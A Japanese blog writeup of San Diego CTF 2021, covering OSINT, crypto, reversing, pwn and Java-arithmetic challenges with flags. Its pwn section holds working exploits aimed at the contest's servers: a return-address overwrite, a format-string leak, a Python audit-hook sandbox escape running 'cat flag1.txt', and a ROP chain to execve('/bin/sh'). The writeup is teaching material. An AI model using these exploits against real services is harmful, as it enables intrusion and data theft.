1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

San Diego CTF 2021 writeup

Last updated at Posted at 2021-05-11

English version : San Diego CTF 2021 writeup (English version) - Qiita

概要

San Diego CTF 2021 に1人チームで参加した。
このCTFは、問題サーバのWebページを用意せず、Discord上で問題の閲覧やflagの提出を行うのが特徴的である。

結果は4326点で、正の点数を獲得した293チーム中10位 (今回の順位表は0-originであり、普通の言い方だと11位) だった。

大会中の自分のスコアの推移は、以下のような感じだった。
(各問題を正解した時刻と終了後に確定した配点に基づき、大会中の各問題の配点の変化は考慮していない)
スコアの推移

解けた日時 (JST : UTC+9) カテゴリ 問題 スコア 問題ごとの順位
2021/05/08 09:30 CRYPTO Lost in Transmission 75 #3
2021/05/08 09:36 CRYPTO Case64AR 190 #1
2021/05/08 09:52 CRYPTO A Prime Hash Candidate 292 #3
2021/05/08 10:26 REVENGE A Bowl of Pythons 115 #5
2021/05/08 10:45 PWN Flag dROPper 216 #6
2021/05/08 11:10 PWN printFAILED 206 #5
2021/05/08 12:28 PWN Unique Lasso 441 #5
2021/05/08 13:15 MISC Sanity Check 15 #83
2021/05/08 13:21 MISC Alternative Arithmetic (Intermediate Flag) 259 #2
2021/05/08 14:04 MISC Alternative Arithmetic (Final Flag) 537 #1
2021/05/08 14:34 OSINT Speed Studying 75 #36
2021/05/08 14:44 OSINT Speed Studying 2 282 #14
2021/05/08 19:26 CRYPTO A Primed Hash Candidate 147 #4
2021/05/09 00:52 PWN HAXLAB — Flag Leak 378 #6
2021/05/09 00:54 PWN HAXLAB — Endgame Pwn 648 #3
2021/05/10 03:40 OSINT hIDe and seek 100 #87
2021/05/10 04:17 OSINT hIDe and seek 2 200 #54
2021/05/10 08:17 MISC survey 150 #75

(この「問題ごとの順位」は1-originである)

特に、Case64AR および Alternative Arithmetic (Final Flag) の2問で最初の正解者となった。

解けた問題

OSINT

hIDe and seek

ヒントとして Location ?v=hqXOIZtRYZU と Location 2 qFHIm0c.jpeg が与えられた。

Location はYouTubeのURLの一部のようだったため、YouTubeのURLに当てはめてみたところ、それっぽい動画が出てきた。
congratulations - YouTube

Location 2 についてはすぐにはわからなかった。
そこで、photo sharing でググり、
List of image-sharing websites - Wikipedia
にたどり着いた。
それぞれのサービスについてそれっぽいかどうかをチェックしていくと、Imgurがそれっぽい形式の画像URLを使っていた。
そこで、Imgurの画像URLに当てはめてみたところ、それっぽい画像が得られた。
https://i.imgur.com/qFHIm0c.jpeg

これらの動画と画像の情報を組み合わせることで、正しいflagが得られた。

sdctf{W0w_1_h4D_n0_ID3a!}

hIDe and seek 2

ヒントとして

  • First piece of info: gg/4KcDWnUYMs
  • Second piece of info: 810237829564727312-810359639975526490

が与えられた。

Webブラウザの履歴からggを検索すると、
https://discord.gg/に続いてヒントと同じような10文字が続いているURLがあった。

そこで、https://discord.gg/4KcDWnUYMsにアクセスすると、Discordの sdctf admin chat への招待画面になった。
招待を受け入れて入ると、flagのようなものが大量に並んでいた。
その中の適当な1個について、右側の「…」から「メッセージリンクをコピー」してコピーされたURLを見ると、
https://discord.com/channels/810237829564727308/810237829564727312/810381204834222090
のような形で、810237829564727312の部分がSecond piece of info の前半部分と一致していた。

そこで、このURLの最後の部分を Second piece of info の後半部分に置き換えたURL
https://discord.com/channels/810237829564727308/810237829564727312/810359639975526490
にアクセスすると、flagのようなもののうちの1個が1秒程度ハイライトされた。
このハイライトされたものが正解のflagだった。

sdctf{m@st3R_h@Ck3R_4807}

Speed Studying

以下の条件を満たす人物のfirst nameとlast nameをflagとして答える問題。

  • professor at UC San Diego
  • an Assistant Professor for the Computer Science department
  • an Associate Professor for the Mathematics department

まず UC San Diego でググり、ここを見つけた。

University of California San Diego

さらに、ページ下部の"A to Z Site Index"に行き、

を開いた。
Computer Science のページはあまり役に立たなそうだった。
Mathematics のページの People → Directory を見ると、人の名前が並んでいた。
UCSD Math | Directory
その中で、Computer Science と書かれているものは以下の2人だった。

どちらかといえば Daniel Kane の方が近そうだが、
問題文では Computer Science については Assistant Professor と指定されているのに対し、
プロフィールではどちらも Associate Professor となっている。

それでも、とりあえずと思ってこれをflagとして送信した所、通った。

Daniel Kane

Speed Studying 2

"The Skyline Problem" と呼ばれていた Daniel Kane のclasses中のexampleが欲しいようである。

まずは The Skyline Problem でググると、以下がヒットした。
The Skyline Problem - LeetCode
どうやら、典型に近い競技プログラミングの問題のようだ。

Daniel Kane の Personal Website
Daniel Kane's Homepage
に行ってみたが、資料が多くて大変そうである。

そこで、Googleで site:http://cseweb.ucsd.edu/%7Edakane/ skyline を検索した。
すると、以下のPDFが見つかり、そこにflagが書かれていた。
Homework3.pdf

flagをそのままコピペすると余計な空白がたくさん入ったので、テキストエディタの置換機能で消した。

ちなみに、この問題に対する模範解答と思われるPDFもヒットした。
Solutions3.pdf

sdctf{N1ce_d0rKiNG_C@pt41N}

CRYPTO

Lost in Transmission

問題ファイルの冒頭とflagの先頭部分sdctf{をバイナリエディタで見比べた。

問題ファイル          sdctf{

0  1110 0110          0  0111 0011
1  1100 1000          1  0110 0100
2  1100 0110          2  0110 0011
3  1110 1000          3  0111 0100
4  1100 1100          4  0110 0110
5  1111 0110          5  0111 1011

すると、flagの最初の1ビットを消したものが問題ファイルのようだった。
これは問題文の "it seems a bit...off." というのとも合致する。

decode.c
decode.c
#include <stdio.h>

int main(void) {
	int c;
	int p = 0;
	while ((c = getchar()) != EOF) {
		putchar(((p & 1) << 7) | (c >> 1));
		p = c;
	}
	return 0;
}
sdctf{W0nD3rfUL_mY_G00d_s1R}

Case64AR

Base64 - Wikipedia の変換表を参照しつつ、
Ciphertext OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv の先頭部分と
flagの先頭部分sdctf{をbase64エンコードしたもの c2RjdGZ7 を見比べた。
すると、flagのbase64エンコードの文字は、Ciphertextの文字の14個先になっているようだった。

そこで、Ciphertextに対し、CyberChefで以下のRecipeによる変換をすることで、flagが得られた。

  1. Substitute (Encryption / Encoding)
    • Plaintext: yz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx
    • Ciphertext: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
  2. From Base64 (Data format)
sdctf{OBscUr1ty_a1nt_s3CURITy}

A Prime Hash Candidate

ハッシュ値とハッシュ関数が書かれたPythonのソースコードと、TCPサーバーの接続情報が与えられた。
どうやら、このハッシュ値に合うパスワードを見つけてサーバーに入力すればいいようである。

ハッシュ関数は、「値を0で初期化し、各文字ごとに前の値に31を掛けて文字コードを足す」というものである。

Z3を用いて条件を満たすパスワードを求めることにした。
Z3の使い方を知るには、ここが大いに役立った。
CTF/Toolkit/z3py - 電気通信大学MMA
ハッシュ値の桁数に基づいて最初はパスワードを20文字と仮定し、手動で1文字ずつ減らしていった。

Python環境へのZ3のインストールは、

pip install z3-solver

でできた。z3だけではダメだった。

solve.py
solve.py
from z3 import *

values = [Int("v" + str(i)) for i in range(17)]

s = Solver()

res = 0
for v in values:
	s.add(0x20 <= v)
	s.add(v < 0x7f)
	res = res * 31 + v

s.add(res == 59784015375233083673486266)
r = s.check()

if r == sat:
	m = s.model()
	res = ""
	for v in values:
		c = m[v].as_long()
		if c != 0:
			res += chr(c)
	print(res)
else:
	print(r)

このコードにより、条件を満たすパスワードは N~qqw0S$~F~rHHn%g だと求まった。

また、もともとゼロの扱いが上手く行かなかったため桁数を手動で調整したが、
桁数を変数とし、桁数からはみ出た部分を無視するようにすることで、桁数を含めて自動で求められることに気がついた。

solve2.py
solve2.py
from z3 import *

target = 59784015375233083673486266
mult = 31
value_len_max = 20

s = Solver()

value_len = Int("value_len")
values = [Int("v" + str(i)) for i in range(value_len_max)]

s.add(1 <= value_len)
s.add(value_len <= value_len_max)
for i in range(value_len_max):
	s.add(If(i < value_len, And(0x20 <= values[i], values[i] < 0x7f), values[i] == 0))

res = 0
for i in range(len(values)):
	res = If(i < value_len, res * mult + values[i], res)

s.add(res == target)
r = s.check()

if r == sat:
	m = s.model()
	res = ""
	for i in range(m[value_len].as_long()):
		res += chr(m[values[i]].as_long())
	print(res)
else:
	print(r)

このコードでは、条件を満たすパスワードは Q"Rqumpe"'~rI*MdH だと求まった。
結果が違うが、どっちのパスワードでも通るようである。

sdctf{st1ll_3553nt14lly_pl@1n_txt}

A Primed Hash Candidate

TCPサーバーの接続情報と、そのサーバーで動いているプログラムを表すと考えられるPythonのソースコードが与えられた。
このプログラムでは以下のハッシュ関数があり、入力したパスワードのハッシュ値が指定のものならばflagを、
違うならばそのハッシュ値を出力するようである。

  1. ハッシュ値を0で初期化する。
  2. パスワードの各文字と、文字列secret1の各文字をxorする。secret1の文字数が足りない場合は循環させる。
  3. その結果の末尾に文字列secret2をくっつける。
  4. その結果の各文字について、ハッシュ値に整数secret3を掛け、文字コードを足す。

まず、いくつかの入力に対してハッシュ値を求めさせた。例えば以下のハッシュ値を得た。

パスワード ハッシュ値 上のハッシュ値との比
(空) 102600138716356059007219996705144046117627968461 -
a 992166622960964278925004202918932637575577014865 9.670226915617196
aa 210262682041505048014583738714712698778058090181406 211.92275286786946
aaa 48985637796415496050216650657519848062713133279035928 232.97352302747626
aaaa 11413640700522060381545483921019415124103706124202506721 232.99973653414898

このハッシュ値の計算では、桁数が大きくなるほど加算の影響が減り、
1文字増やした時のハッシュ値の比がsecret3に近づくと予想できる。
したがって、secret3は233であると予想できる。

secret3が128以上の数だとわかったので、
パスワード・secret1secret2がASCIIの文字のみ(すなわち、128未満)からなると仮定すれば、
secret3で割った余りをとっていくことで簡単にsecret2をくっつけたデータがわかるはずである。
実際に求めてみた。
上のハッシュ値に加え、大量のaの列を入力することでsecret1を求めるための入力もある。
さらに、求めた結果secret2はASCII文字のみからなりそうだったので、それを文字列として出力するようにした。

test.py
test.py
m = 233

def calc(q):
	res = []
	while q > 0:
		res.append(q % m)
		q = q // m
	return [res[len(res) - i - 1] for i in range(len(res))]

print(calc(102600138716356059007219996705144046117627968461))
print(calc(992166622960964278925004202918932637575577014865))
print(calc(210262682041505048014583738714712698778058090181406))
print(calc(48985637796415496050216650657519848062713133279035928))
print(calc(11413640700522060381545483921019415124103706124202506721))
print(calc(2659378268536464350212726318079772602014077890093473108682))
print(calc(56678918740377726047886359781090148307613747240511801341646628305011979140370757793561203839575815229178929004006886844019359633328288654953757547745797307363306287690228605085170520895486842930223543838627761786694555352517833537871099421570613401285950471276099621993337428263773193776280991157297313422764761554071206508203010916314623673595647950795646105830132596428138694772022226009678196477133112528229050981237479482321839960638938646374279349091534905575572549716737501782655376051142768831560072202859244745877469214627488920873309017303317236637970499937672394230102961331453458658035654033218881880413))

# PASSWD
print(calc(91918419847262345220747548257014204909656105967816548490107654667943676632784144361466466654437911844))

str = ""
for c in calc(102600138716356059007219996705144046117627968461):
	str += chr(c)

print(str)

出力は以下のようになった。

[107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
ks(3n*cl3p%3925(*4*2

最後の ks(3n*cl3p%3925(*4*2secret2 だとわかる。
さらに、出力を見ると、[4, 13, 82, 49, 41, 85, 15, 53, 69]のパターンが循環しているようである。
したがって、これにaの文字コードをxorしたものが、secret1になりそうだ。
実際にこれを求めるのが以下のコードであり、secret1el3PH4nT$ と求まった。

test2.py
test2.py
data = [4, 13, 82, 49, 41, 85, 15, 53, 69]

key = ord('a')

res = ""
for c in data:
	res += chr(c ^ key)

print(res)

最後に、指定されていたパスワードのハッシュ値PASSWDをデコードし、
secret2を除く部分をsecret1とxorすることで、入力するべきパスワードが求まった。

test3.py
test3.py
data = [34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126]

key = "el3PH4nT$"

key_v = [ord(x) for x in key]

res = ""
for i in range(len(data)):
	res += chr(data[i] ^ key_v[i % len(key_v)])

print(res)

入力するべきパスワードは GZZ9t3W3Ar34un44m8PLXX6 であった。

(hashという名前が使われているので「ハッシュ値」「ハッシュ関数」としたが、
簡単に一意にデコードできたらハッシュじゃないような…)

sdctf{W0W_s3cur1ty_d1d_dRaStIcAlLy_1mpr0v3}

WEB

残念ながら1問も解けなかった。

REVENGE

A Bowl of Pythons

Pythonのソースコードが与えられた。
まず、文字列が16進数で表現されていたので、見やすいようにCyberChefのFrom Hexでデコードした。
次に、メインとなるe()関数を見ると、まず入力のヘッダとフッタをチェックし、その後中身をチェックするようになっていた。
余計な部分を消し、演算を逆転させることで、flagの中間部分を得ることができた。

solve.py
solve.py
a = lambda n: a(n-2) + a(n-1) if n >= 2 else (2 if n == 0 else 1)

f = b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4'

print(bytes(f[i] ^ (a(i) & 0xff) for i in range(len(f))))
sdctf{v3ry-t4sty-sph4g3tt1}

PWN

Flag dROPper

TCPサーバーの接続情報と、そこで動いていると考えられるELFファイルが与えられた。

このELFファイルをTDM-GCCobjdumpで逆アセンブルして観察した結果、
バッファの0x48バイト目から関数_exitのアドレスを入れた後、
そのバッファに入力を読み込み、
バッファの0x48バイト目からのアドレスに制御を移していることがわかった。

そこで、このアドレスをwin関数のアドレスに書き換えるような入力を与えたところ、flagの2文字目以降が得られた。

communicate.pl
communicate.pl
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"dropper.sdc.tf", PeerPort=>1337, Proto=>"tcp");

if (!$sock) { die "socket open failed\n"; }

binmode($sock);

my $query = ("#" x 0x48) . "\xDA\x05\x40\x00\x00\x00\x00\x00";

print $sock $query;

while (<$sock>) {
	print $_;
}

close($sock);
sdctf{n1C3_C4tcH_bUd}

HAXLAB — Flag Leak

TCPサーバーの接続情報と、そこで動いていると考えられるPythonのソースコードが与えられた。
このプログラムは、入力した文を実行してくれるが、
sys.addaudithook()によって多くの操作が拒否されるようになっている。

いろいろ試したところ、import subprocessは拒否されたが、import sysは拒否されなかった。
import sysにより、sys.modulesにアクセスできるようになった。
その中には、builtinsモジュールもあった。
このモジュールをいじることで、組み込み関数を置き換えることができるようだった。
特に、sys.modules["builtins"].setにラムダ式を代入することで、
操作を拒否する部分でホワイトリストの初期化に使われているset()を置き換えることができた。
これを利用し、"os.system"をホワイトリストに追加することで、
os.system()を実行することができるようになった。
最後に、これを利用して cat flag1.txt を実行することで、flagが得られた。

すなわち、以下の文を順に実行することで、flagが得られた。

import sys
import os
sys.modules["builtins"].set = lambda x : list(x) + ["os.system"]
os.system("cat flag1.txt")
sdctf{get@ttr_r3ads_3v3ryth1ng}

HAXLAB — Endgame Pwn

TCPサーバーの接続情報と、そこで動いていると考えられるPythonのソースコードが与えられた。
これらは HAXLAB — Flag Leak と同じものであった。
そのため、同様に cat flag1.txt のかわりに cat flag2.txt を実行することで、flagが得られた。

sdctf{4ud1t_hO0ks_aR3_N0T_SaNDB0x35}

printFAILED

TCPサーバーの接続情報と、そこで動いていると考えられるELFファイルが与えられた。

このELFファイルをTDM-GCCobjdumpで逆アセンブルして観察した結果、
以下のような処理をしているようだった。

kakikudasi.c
kakikudasi.c
#include <stdio.h>
#include <string.h>

int FLAG_LEN;

char flag[1024];
char guess[1024];

void scramble(int len) { /* -0x14(%rbp) */
	int i; /* -0x4(%rbp) */
	/* 831 860 */
	for (i = 0; i < len; i++) {
		/* 83a */
		int eax = i, ecx;
		eax = flag[eax];
		eax += 1;
		/* 84e */
		ecx = eax;
		eax = i;
		flag[eax] = ecx;
	}
}

int main(void) {
	/* 87e */
	FILE* fp = fopen("flag.txt", "r");
	fgets(flag, 0x28, fp);
	/* 8ad */
	scramble(0x27);
	/* 8b7 */
	puts("can you guess the scrambled flag?");
	fflush(stdout);
	/* 8d2 */
	fgets(guess, 0x28, stdin);
	/* 8ed */
	puts("you guessed: ");
	/* 8f9 */
	printf(guess, main, scramble, FLAG_LEN, flag);
	/* 935 */
	if (strcmp(guess, flag) == 0) {
		/* 93e */
		puts("nice guess!");
	} else {
		/* 94c */
		puts("wrong");
	}
	/* 958 */
	return 0;
}

この中で、特に重要なのは

printf(guess, main, scramble, FLAG_LEN, flag);

という行である。
ここで、guessにはユーザー入力が入り、
flagにはflag.txtから読み込んだデータをscramble()関数で加工したデータが入っている。
このscramble()関数は、flagの指定した位置までの要素にそれぞれ1を足す処理をしている。
したがって、この配列flagの内容を読み取り、scramble()関数の逆の加工を行えば、flagが得られるはずである。

これを踏まえ、

%lx %lx %lx %s

という入力を与えたところ、

55b4835b086f 55b4835b082a 28 tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~

という出力が返ってきた。この出力の最後の部分 tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~ に対し、
CyberChefでKeyを-1としたSUBを行うことで、flagが得られた。
(SUB は Arithmetic / Logic カテゴリに入っている)

sdctf{D0nt_b3_4_f41lur3_1ik3_tH1S_C0d3}

Unique Lasso

TCPサーバーの接続情報と、そこで動いていると考えられるELFファイルが与えられた。

このELFファイルをTDM-GCCobjdumpで逆アセンブルして観察した結果、
以下のような処理をしているようだった。

kakikudasi.c
kakikudasi.c
#include <stdio.h>
#include <stdlib.h>

int main(void) {
	char rbp_6[2];
	int rbp_4;
	/* 400b75 */
	puts("how long do you think this lass is: (hint: its really long)");
	/* 400b81 */
	fflush(stdout);
	/* 400b90 */
	fgets(rbp_6, 0x258, stdin);
	/* 400ba8 */
	rbp_4 = atoi(rbp_6);
	/* 400bb4 */
	printf("You guessed %d\n", rbp_4);
	/* 400bcd */
	puts("Its gotta be longer than that");
	/* 400bd9 */
	fflush(stdout);
	/* 400be8 */
	return 0;
}

特にwin関数などはなさそうなので、ROP (Return-oriented programming) を用いて
execve("/bin/sh", 0, 0)を実行させることにした。
そのためには、%raxに59 (execveのシステムコール番号)、%rdi"/bin/sh"のアドレス、
%rsi%rdxに0をセットして、syscall命令を実行させればよい。

バイナリエディタでELFファイルからそれぞれの機械語を検索したところ、
ファイル中の位置で例えば以下の場所にgadgetが見つかった。

0x006A6 : pop %rdi; ret
0x10B63 : pop %rsi; ret
0x4C616 : pop %rdx; ret
0x005AF : pop %rax; ret
0x74AE5 : syscall ; ret

また、逆アセンブル結果より、実行時のアドレスはファイル中の位置に 0x400000 を足したものになるようだった。
さらに、"/bin/sh"そのものはバイナリ中に無さそうであったが、逆アセンブル結果を眺めていると、

  400692:	48 89 05 67 c1 2b 00 	mov    %rax,0x2bc167(%rip)        # 6bc800 <__x86_shared_non_temporal_threshold>
  400699:	48 83 c4 08          	add    $0x8,%rsp
  40069d:	5b                   	pop    %rbx
  40069e:	5d                   	pop    %rbp
  40069f:	41 5c                	pop    %r12
  4006a1:	41 5d                	pop    %r13
  4006a3:	41 5e                	pop    %r14
  4006a5:	41 5f                	pop    %r15
  4006a7:	c3                   	retq   

という部分があり、これを用いると%raxに入れた任意の値を0x6bc800に書き込めるようだった。

これらを用い、以下の動作をするようにスタックの内容を構築した。

  1. %rax"/bin/sh" のデータを入れる
  2. %rax のデータを 0x6bc800 に入れる
  3. %rax に 59 を入れる
  4. %rdi に 0x6bc800 を入れる
  5. %rsi に 0 を入れる
  6. %rdi に 0 を入れる
  7. syscall を実行する

この内容をスタックに入れるための入力の後、単純にシェルのコマンドを送っても、なぜか結果が出てこなかった。
そこで、ループで何度もコマンドを送るなど試行錯誤したところ、ファイルリストやflagが得られた。

communicate.pl
communicate.pl
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"lasso.sdc.tf", PeerPort=>1337, Proto=>"tcp");

if (!$sock) { die "socket open failed\n"; }

binmode($sock);

my $query = "123456--------";

my $pop_rdi = 0x4006a6;
my $pop_rsi = 0x410b63;
my $pop_rdx = 0x44c616;
my $pop_rax = 0x4005af;
my $syscall = 0x474ae5;
my $mov     = 0x400692;

my @data = (
	$pop_rax,
	-1,
	$mov,
	0, 0, 0, 0, 0, 0, 0,
	$pop_rax,
	59,
	$pop_rdi,
	0x6bc800,
	$pop_rsi,
	0,
	$pop_rdx,
	0,
	$syscall
);

for (my $i = 0; $i < @data; $i++) {
	if ($data[$i] >= 0) {
		$query .= pack("Q", $data[$i]);
	} else {
		$query .= "/bin/sh\0";
	}
}

print $sock $query;
print $sock "\n";
for (my $i = 0; $i < 4096; $i++) {
	#print $sock "echo hoge\n";
	#print $sock "ls\n";
	print $sock "cat flag.txt\n";
	print $sock "exit\n";
}

while (<$sock>) {
	print $_;
}

close($sock);
sdctf{H0w_l0nG_w45_uR_L4ss0_m1n3_w45_ju5T_5}

MISC

Sanity Check

問題文にflagが書かれていた。

Here's the flag of this challenge: sdctf{1_@m_n0t_4_r0b0t!}

sdctf{1_@m_n0t_4_r0b0t!}

Alternative Arithmetic (Intermediate Flag)

Javaに関するクイズが出題され、3問正解するとflagが得られた。

1問目

0でなく、x == -x となる long x の値が要求された。
Javaのlongは64bitであり、2の補数を使っているとすれば、-(2 ** 63) が条件を満たすはずである。
この値をPythonで求めた。

x = -9223372036854775808

2問目

以下の条件を満たすlongの値xおよびyが要求された。

  • 異なる
  • 差が10以下
  • Long.hashCode(x) == Long.hashCode(y)

longのハッシュ値は、上位32ビットと下位32ビットのxorで求められるらしい。

-1、すなわち 0xffffffffffffffff は、
上位32ビット 0xffffffff と下位32ビット 0xffffffff のxorをとると 0 になる。
また、0、すなわち 0x0000000000000000 も、
上位32ビット 0x00000000 と下位32ビット 0x00000000 のxorをとると 0 になる。

x = 0
y = -1

3問目

forループ for (float start = magic; start < (magic + 256); start++)
が十分な回数回るようなfloat magicの値を要求された。
さらに、適当な値を入力すると「7文字未満」という条件も出てきた。こういう後出しの条件は嫌いです。
floatの精度を考え、1を足しても値が変わらないような値を入れることで、正解が得られた。

f = 1e+8

flag

sdctf{JAVA_Ar1thm3tIc_15_WEirD}

Alternative Arithmetic (Final Flag)

Alternative Arithmetic (Intermediate Flag) に続いてJavaに関するクイズがさらに出題され、
2問正解することでflagが得られた。

4問目

以下の条件を満たす文字列s1s2s3が要求された。

  • new BigDecimal(s1).add(new BigDecimal(s2)).compareTo(new BigDecimal(s3)) == 0
  • Double.parseDouble(s1) + Double.parseDouble(s2) != Double.parseDouble(s3)

doubleがオーバーフローする程度の大きい値と小さい値を入れることで、正解が得られた。

s1 = 1e+1000
s2 = -1e+1000
s3 = 0

5問目

i < j || i == j || i > jfalse になるような、
var i = (<type>) <num1>; var j = (<type>) <num2>;
<type><num1><num2> にあてはまるものを求められた。
また、<num1><num2>は「regex [0-9]*\.?[0-9]* を満たす」ものを要求された。

Wandboxでいろいろ試すことで、正解が得られた。

<type>: Double
<num1>: 1.0
<num2>: 1.0

flag

sdctf{MATH_pr0f:iS_tH1S_@_bUG?CS_prOF:n0P3_tHIS_iS_A_fEATuRe!}

survey

GoogleフォームのURLが提示された。
リンク先のアンケートに回答して回答を送信すると、flagが表示された。

sdctf{Suv3y_s@ys!}
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?